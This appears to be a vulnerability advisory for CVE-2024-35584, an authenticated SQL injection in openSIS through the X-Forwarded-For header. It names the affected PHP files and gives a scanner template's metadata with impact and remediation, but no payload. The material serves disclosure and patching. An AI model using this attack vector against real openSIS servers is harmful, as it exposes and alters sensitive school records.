CVE-2024-35584: openSIS < 9.1 - SQL Injection

2025-08-01 openSIS PoC Public

Description

SQL injection vulnerability in Ajax.php, ForWindow.php, ForExport.php, Modules.php, functions/HackingLogFnc.php in OpenSis Community Edition 9.1, 8.0, and possibly earlier versions. It is possible for an authenticated user to perform SQL Injection due to the lack to sanitisation. The application takes arbitrary value from "X-Forwarded-For" header and appends it to a SQL INSERT statement directly, leading to SQL Injection.

info:
  name: openSIS < 9.1 - SQL Injection
  author: s4e-io
  severity: high
  description: |
    SQL injection vulnerability in Ajax.php, ForWindow.php, ForExport.php, Modules.php, functions/HackingLogFnc.php in OpenSis Community Edition 9.1, 8.0, and possibly earlier versions. It is possible for an authenticated user to perform SQL Injection due to the lack to sanitisation. The application takes arbitrary value from "X-Forwarded-For" header and appends it to a SQL INSERT statement directly, leading to SQL Injection.
  impact: |
    Authenticated attackers can perform SQL injection via the X-Forwarded-For header, potentially extracting or modifying sensitive database information.
  remediation: |
    Update openSIS to a version later than 9.1 that patches the SQL injection vulnerability.
